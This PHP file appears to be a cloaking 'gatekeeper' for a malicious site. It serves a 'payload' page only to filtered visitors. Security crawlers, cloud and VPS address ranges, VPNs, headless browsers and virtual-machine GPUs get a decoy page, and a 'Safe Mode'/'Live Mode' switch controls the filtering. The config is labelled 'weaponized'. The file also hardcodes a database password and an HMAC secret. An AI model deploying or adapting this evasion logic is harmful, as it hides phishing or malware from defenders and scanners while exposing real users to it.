<?php
// --- MANUAL MAXMIND AUTOLOADER ---
spl_autoload_register(function ($class) {
    $prefix = 'MaxMind\\Db\\';
    $base_dir = __DIR__ . '/maxmind-lib/src/MaxMind/Db/';
    
    $len = strlen($prefix);
    if (strncmp($prefix, $class, $len) !== 0) return;
    
    $relative_class = substr($class, $len);
    $file = $base_dir . str_replace('\\', '/', $relative_class) . '.php';
    
    if (file_exists($file)) require $file;
});
// ---------------------------------

$block_reason = 'Unknown';

// --- HIGH-SPEED WEAPONIZED CONFIG ---
$config = [
    'verification_mode'  => 'ON', // ON: Safe Mode | OFF: Live Mode
    'allowed_countries'  => ['US', 'CA'],
    
    // Legacy String Matching
    'blocked_isps'       => ['google', 'amazon', 'microsoft', 'facebook', 'digitalocean', 'claro', 'm247', 'linode', 'ovh', 'vultr', 'hetzner'],
    
    // NEW: Strict ASN Blacklist (The Anti-Cloud Play)
    'blocked_asns'       => [
        'AS16509', // Amazon AWS
        'AS14618', // Amazon
        'AS8075',  // Microsoft Azure
        'AS396982',// Google Cloud
        'AS15169', // Google / Alphabet
        'AS32934', // Facebook
        'AS14061', // DigitalOcean
        'AS20473', // Vultr / Choopa
        'AS16276', // OVH
        'AS24940', // Hetzner
        'AS9009',  // M247 (Notorious Proxy Network)
        'AS63949', // Linode
        'AS51167', // Contabo
        'AS212238',// Datacamp
        'AS60068'  // CDN77 / Datacamp
    ],
    
    'block_vpn_vps'      => true,
    'max_views_per_ip'   => 8,
    'log_retention_days' => 30, 
    'app_secret'         => 'leDVXSO0CTj5hm5Thudd1VuPuTr5cUNTzaqzws3M0YkPoXWuBM', 
    
    // MySQL Config
    'db_host' => 'localhost', 
    'db_name' => 'web01_cyberpanel_db', 
    'db_user' => 'web01_cyberpanel_db_user',    
    'db_pass' => 'Cyber@Panel@2026',
    
    // Redis Config (Speed Layer)
    'redis_host' => '127.0.0.1',
    'redis_port' => 6379,
    'redis_pass' => '' 
];

function getRandomUserAgent() {
    $ua_list = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15"
    ];
    return $ua_list[array_rand($ua_list)];
}

function getClientIP() {
    if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '0.0.0.0';
}

function is_advanced_bot() {
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    if (empty($ua)) return true; 

    $bot_list = ['google', 'bot', 'crawl', 'spider', 'facebook', 'facebot', 'lighthouse', 'headless', 'selenium', 'puppeteer'];
    foreach ($bot_list as $bot) {
        if (stripos($ua, $bot) !== false) return true;
    }
    return false;
}

function is_hardware_bot() {
    $hw_intel = $_COOKIE['hw_intel'] ?? '';
    if (empty($hw_intel)) return true; 

    $decoded = base64_decode($hw_intel);
    if (!$decoded) return true;

    $blacklist = [
        'swiftshader',       
        'llvmpipe',          
        'mesa offscreen',    
        'software rasterizer', 
        'qemu',              
        'vmware',            
        'virtualbox'         
    ];

    $renderer_lower = strtolower($decoded);
    
    foreach ($blacklist as $bad_gpu) {
        if (strpos($renderer_lower, $bad_gpu) !== false) {
            return true;
        }
    }
    return false; 
}

function generateHmacToken($ip) {
    global $config;
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    $b64_ua = base64_encode($ua); 
    $expiry = time() + (24 * 60 * 60); 
    $payload = $ip . '|' . $b64_ua . '|' . $expiry;
    $signature = hash_hmac('sha256', $payload, $config['app_secret']);
    return base64_encode($payload . '|' . $signature);
}

function verifyHmacToken($token, $ip) {
    global $config;
    if (empty($token) || !is_string($token)) return false;
    
    $decoded = base64_decode($token);
    if (!$decoded) return false;
    $parts = explode('|', $decoded);
    if (count($parts) !== 4) return false;
    
    list($token_ip, $token_b64_ua, $expiry, $signature) = $parts;
    if (time() > (int)$expiry) return false;
    
    $token_ua = base64_decode($token_b64_ua);
    $current_ua = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    if ($token_ip !== $ip || $token_ua !== $current_ua) return false;
    
    $expected_payload = $token_ip . '|' . $token_b64_ua . '|' . $expiry;
    $expected_signature = hash_hmac('sha256', $expected_payload, $config['app_secret']);
    return hash_equals($expected_signature, $signature);
}

// --- REDIS CONNECTION ENGINE ---
function get_redis_connection() {
    global $config;
    static $redis = null; 
    if ($redis !== null) return $redis;
    
    if (!extension_loaded('redis')) return false;
    
    try {
        $redis = new Redis();
        if ($redis->connect($config['redis_host'], $config['redis_port'], 1)) {
            if (!empty($config['redis_pass'])) {
                $redis->auth($config['redis_pass']);
            }
            return $redis;
        }
    } catch (Exception $e) {}
    
    return false;
}

function get_db_connection() {
    global $config;
    static $pdo = null; 
    if ($pdo !== null) return $pdo;
    
    $dsn = "mysql:host={$config['db_host']};dbname={$config['db_name']};charset=utf8mb4";
    try {
        $pdo = new PDO($dsn, $config['db_user'], $config['db_pass'], [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false,
        ]);
        return $pdo;
    } catch (PDOException $e) { return null; }
}

function resolve_ip_data($ip) {
    global $config;
    static $memory_cache = []; 
    if (isset($memory_cache[$ip])) return $memory_cache[$ip];

    // 1. Redis RAM Cache
    $redis = get_redis_connection();
    $redis_key = "gatekeeper:ip:" . $ip;
    
    if ($redis) {
        $cached_ip = $redis->get($redis_key);
        if ($cached_ip) {
            $data = json_decode($cached_ip, true);
            $memory_cache[$ip] = $data;
            return $data;
        }
    }

    // 2. MySQL Fallback
    $pdo = get_db_connection();
    if ($pdo) {
        try {
            $stmt = $pdo->prepare("SELECT country_code, is_proxy FROM traffic_logs WHERE ip_address = ? ORDER BY id DESC LIMIT 1");
            $stmt->execute([$ip]);
            $row = $stmt->fetch();
            if ($row && $row['country_code'] !== '??') {
                $data = [
                    'country' => $row['country_code'],
                    'isp' => '',
                    'is_proxy' => (bool)$row['is_proxy'],
                    'is_allowed' => true,
                    'reason' => ''
                ];
                if (!in_array($data['country'], $config['allowed_countries'])) {
                    $data['reason'] = 'Geo-Blocked';
                    $data['is_allowed'] = false;
                } else if ($config['block_vpn_vps'] && $data['is_proxy']) {
                    $data['reason'] = 'VPN/Proxy';
                    $data['is_allowed'] = false;
                }
                
                $memory_cache[$ip] = $data;
                if ($redis) $redis->setex($redis_key, 604800, json_encode($data)); 
                return $data;
            }
        } catch (Exception $e) {}
    }

    // 3. API Resolution (Upgraded with ASN targeting)
    $data = ['country' => '??', 'isp' => '', 'asn' => '', 'is_proxy' => false, 'is_allowed' => false, 'reason' => ''];

    if (!empty($_SERVER['HTTP_CF_IPCOUNTRY'])) {
        $clean_country = preg_replace('/[^a-zA-Z]/', '', $_SERVER['HTTP_CF_IPCOUNTRY']);
        $data['country'] = strtoupper(substr($clean_country, 0, 2));
    }

    $db_path = __DIR__ . '/GeoLite2-Country.mmdb';
    if (file_exists($db_path) && class_exists('\MaxMind\Db\Reader')) {
        try {
            $reader = new \MaxMind\Db\Reader($db_path);
            $record = $reader->get($ip);
            $reader->close();
            if (!empty($record['country']['iso_code'])) {
                $data['country'] = $record['country']['iso_code'];
            }
        } catch (Exception $e) {}
    }

    if ($data['country'] !== '??') {
        if (!in_array($data['country'], $config['allowed_countries'])) {
            $data['reason'] = 'Geo-Blocked';
            $memory_cache[$ip] = $data;
            if ($redis) $redis->setex($redis_key, 604800, json_encode($data));
            return $data; 
        }
    }

    $options = ["http" => [
        "method" => "GET", 
        "timeout" => 2, 
        "ignore_errors" => true,
        "header" => "User-Agent: " . getRandomUserAgent() . "\r\n"
    ]];
    $context = stream_context_create($options);
    
    // NEW: Appended 'as' to the requested fields
    $res = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,countryCode,isp,proxy,hosting,as", false, $context);

    if ($res !== false) {
        $api_resp = json_decode($res, true);
        if ($api_resp && isset($api_resp['status']) && $api_resp['status'] === 'success') {
            $data['country'] = $api_resp['countryCode'] ?? $data['country'];
            $data['isp'] = strtolower($api_resp['isp'] ?? '');
            $data['is_proxy'] = !empty($api_resp['proxy']) || !empty($api_resp['hosting']);
            
            // Extract pure ASN (e.g. "AS16509" from "AS16509 Amazon.com, Inc.")
            if (isset($api_resp['as']) && preg_match('/^(AS\d+)/i', $api_resp['as'], $matches)) {
                $data['asn'] = strtoupper($matches[1]);
            }

            if (!in_array($data['country'], $config['allowed_countries'])) {
                $data['reason'] = 'Geo-Blocked';
            } else {
                
                // 1. Strict ASN Check (Highest Priority)
                $asn_blocked = false;
                if (!empty($data['asn']) && in_array($data['asn'], $config['blocked_asns'])) {
                    $asn_blocked = true;
                    $data['reason'] = 'ASN Blocked (' . $data['asn'] . ')';
                }
                
                // 2. Legacy ISP String Match Check
                $isp_blocked = false;
                if (!$asn_blocked) {
                    foreach ($config['blocked_isps'] as $blocked) {
                        if (strpos($data['isp'], $blocked) !== false) {
                            $isp_blocked = true;
                            $data['reason'] = 'ISP Blocked';
                            break;
                        }
                    }
                }

                // 3. Final Evaluation
                if (!$asn_blocked && !$isp_blocked) {
                    if ($config['block_vpn_vps'] && $data['is_proxy']) {
                        $data['reason'] = 'VPN/Proxy';
                    } else {
                        $data['is_allowed'] = true;
                    }
                }
            }
        } else {
            if ($data['country'] !== '??' && in_array($data['country'], $config['allowed_countries'])) {
                $data['is_allowed'] = true;
            } else {
                $data['reason'] = 'Unknown Filter (API Failed)';
            }
        }
    } else {
        if ($data['country'] !== '??' && in_array($data['country'], $config['allowed_countries'])) {
            $data['is_allowed'] = true;
        } else {
            $data['reason'] = 'Unknown Filter (Timeout)';
        }
    }

    $memory_cache[$ip] = $data;
    if ($redis) $redis->setex($redis_key, 604800, json_encode($data));
    return $data;
}

function check_view_limit($ip) {
    global $config;
    if ($ip === '0.0.0.0') return false;
    
    // Redis Rate Limiting
    $redis = get_redis_connection();
    if ($redis) {
        $key = "gatekeeper:ratelimit:" . $ip;
        $views = $redis->incr($key);
        if ($views === 1) {
            $redis->expire($key, 86400); 
        }
        return $views <= $config['max_views_per_ip'];
    }

    // MySQL Fallback
    $pdo = get_db_connection();
    if (!$pdo) return false;
    try {
        static $tables_verified = false;
        if (!$tables_verified) {
            $pdo->exec("CREATE TABLE IF NOT EXISTS ip_limits (
                ip_address VARCHAR(45) PRIMARY KEY,
                view_count INT DEFAULT 1,
                last_seen TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
            ) ENGINE=InnoDB");
            $tables_verified = true;
        }

        $stmt = $pdo->prepare("INSERT INTO ip_limits (ip_address, view_count, last_seen) VALUES (:ip, 1, CURRENT_TIMESTAMP) ON DUPLICATE KEY UPDATE view_count = view_count + 1");
        $stmt->execute(['ip' => $ip]);
        $stmt = $pdo->prepare("SELECT view_count FROM ip_limits WHERE ip_address = :ip");
        $stmt->execute(['ip' => $ip]);
        $row = $stmt->fetch();
        return $row ? ($row['view_count'] <= $config['max_views_per_ip']) : false;
    } catch (PDOException $e) { return false; }
}

function is_honeypotted($ip) {
    // 1. Check Redis RAM for instant lookup
    $redis = get_redis_connection();
    if ($redis) {
        if ($redis->get("gatekeeper:honeypot:" . $ip)) return true;
    }

    // 2. Fallback to MySQL
    $pdo = get_db_connection();
    if ($pdo) {
        try {
            $stmt = $pdo->prepare("SELECT ip_address FROM honeypot_bans WHERE ip_address = ? LIMIT 1");
            $stmt->execute([$ip]);
            if ($stmt->fetch()) {
                // If found in MySQL, push it back into Redis for next time
                if ($redis) $redis->set("gatekeeper:honeypot:" . $ip, "1");
                return true;
            }
        } catch (Exception $e) { return false; }
    }
    return false;
}

function parse_user_agent($ua) {
    $os = 'Unknown'; $browser = 'Unknown'; $device = 'Desktop';
    if (stripos($ua, 'Mobi') !== false || stripos($ua, 'Android') !== false || stripos($ua, 'iPhone') !== false) $device = 'Mobile';
    if (stripos($ua, 'Tablet') !== false || stripos($ua, 'iPad') !== false) $device = 'Tablet';
    
    if (stripos($ua, 'Windows NT 10.0') !== false) $os = 'Windows 10/11';
    elseif (stripos($ua, 'Windows NT') !== false) $os = 'Windows (Older)';
    elseif (stripos($ua, 'iPhone OS') !== false || stripos($ua, 'iPad') !== false) $os = 'iOS';
    elseif (stripos($ua, 'Mac OS X') !== false) $os = 'macOS';
    elseif (stripos($ua, 'Android') !== false) $os = 'Android';
    elseif (stripos($ua, 'Linux') !== false) $os = 'Linux';
    
    if (stripos($ua, 'Edg') !== false) $browser = 'Edge';
    elseif (stripos($ua, 'OPR') !== false || stripos($ua, 'Opera') !== false) $browser = 'Opera';
    elseif (stripos($ua, 'Chrome') !== false) $browser = 'Chrome';
    elseif (stripos($ua, 'Firefox') !== false) $browser = 'Firefox';
    elseif (stripos($ua, 'Safari') !== false) $browser = 'Safari'; 
    return ['device' => $device, 'os' => $os, 'browser' => $browser];
}

function log_traffic($destination) {
    global $config, $block_reason;
    $ip = getClientIP();
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    $pdo = get_db_connection();
    if (!$pdo) return;

    try {
        static $log_tables_verified = false;
        if (!$log_tables_verified) {
            $pdo->exec("CREATE TABLE IF NOT EXISTS traffic_logs (
                id INT AUTO_INCREMENT PRIMARY KEY,
                ip_address VARCHAR(45),
                country_code VARCHAR(10),
                destination ENUM('payload', 'safe'),
                is_proxy TINYINT(1) DEFAULT 0,
                device_type VARCHAR(20) DEFAULT 'Unknown',
                os VARCHAR(30) DEFAULT 'Unknown',
                browser VARCHAR(30) DEFAULT 'Unknown',
                block_reason VARCHAR(30) DEFAULT 'Unknown',
                user_agent TEXT,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                INDEX (destination),
                INDEX (created_at)
            ) ENGINE=InnoDB");
            $log_tables_verified = true;
        }

        $ip_data = resolve_ip_data($ip);
        $country = $ip_data['country'];
        $is_proxy = $ip_data['is_proxy'] ? 1 : 0;
        $parsed = parse_user_agent($ua);
        
        $final_reason = ($destination === 'payload') ? 'Passed' : $block_reason;

        $stmt = $pdo->prepare("INSERT INTO traffic_logs (ip_address, country_code, destination, is_proxy, device_type, os, browser, block_reason, user_agent) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)");
        $stmt->execute([$ip, $country, $destination, $is_proxy, $parsed['device'], $parsed['os'], $parsed['browser'], $final_reason, $ua]);
    } catch (Exception $e) { error_log("Logging Error: " . $e->getMessage()); }
}

function shouldShowPayload() {
    global $config, $block_reason;
    if ($config['verification_mode'] === 'ON') { $block_reason = 'Safe Mode Active'; return false; }

    $ip = getClientIP();
    
    if (!check_view_limit($ip)) { $block_reason = 'Rate Limited'; return false; }

    if (isset($_COOKIE['v_token']) && verifyHmacToken($_COOKIE['v_token'], $ip)) return true; 

    $expected_v_checked = hash_hmac('sha256', $ip . 'human_passed', $config['app_secret']);
    
    $cookie_v_checked = isset($_COOKIE['v_checked']) && is_string($_COOKIE['v_checked']) ? $_COOKIE['v_checked'] : '';
    $c_hash = $_COOKIE['c_hash'] ?? '';
    $hw_intel = $_COOKIE['hw_intel'] ?? '';
    
    if (empty($cookie_v_checked) || !hash_equals($expected_v_checked, $cookie_v_checked)) { $block_reason = 'Challenge Failed'; return false; }
    if (empty($c_hash) || !is_string($c_hash) || strlen($c_hash) < 10) { $block_reason = 'Missing Hash'; return false; }
    if (empty($hw_intel)) { $block_reason = 'Hardware Missing'; return false; }
    
    if (!filter_var($ip, FILTER_VALIDATE_IP)) { $block_reason = 'Invalid IP'; return false; }
    
    // NEW: The Honeypot Kill Switch
    if (is_honeypotted($ip)) { $block_reason = 'Honeypot Burned'; return false; }
    
    // ... (existing bot checks)
    if (is_advanced_bot()) { $block_reason = 'Bot Detected'; return false; }
    if (is_hardware_bot()) { $block_reason = 'Hardware Anomaly (GPU)'; return false; }
    
    $ip_data = resolve_ip_data($ip);
    if (!$ip_data['is_allowed']) {
        $block_reason = $ip_data['reason'] ?: 'Unknown Filter';
        return false;
    }

    $token = generateHmacToken($ip);
    $is_secure = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off');
    setcookie('v_token', $token, time() + 86400, '/', '', $is_secure, true);
    return true;
}
?>